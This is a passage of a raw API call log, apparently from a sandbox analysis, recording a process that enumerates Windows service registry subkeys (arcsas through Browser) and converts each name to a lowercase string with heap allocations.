lpName="arcsas") returned 0x0 [0251.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0251.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.348] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0251.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0251.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.348] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0251.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0251.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1cd0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0251.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.348] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0251.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0251.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1b68, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0251.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.348] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0251.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0251.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.349] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0251.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0251.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.349] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0251.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0251.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1cd0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0251.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.349] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0251.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0251.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.350] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0251.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0251.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.350] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0251.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0251.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.350] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0251.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0251.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.350] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0251.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0251.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.351] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0251.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0251.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.351] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0251.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0251.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.351] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0251.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0251.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.352] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0251.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0251.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.352] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0251.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0251.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.352] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0251.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0251.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.352] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0251.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0251.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.353] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0251.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0251.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0251.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0251.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0251.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0251.353] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0251.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0251.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0251.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, 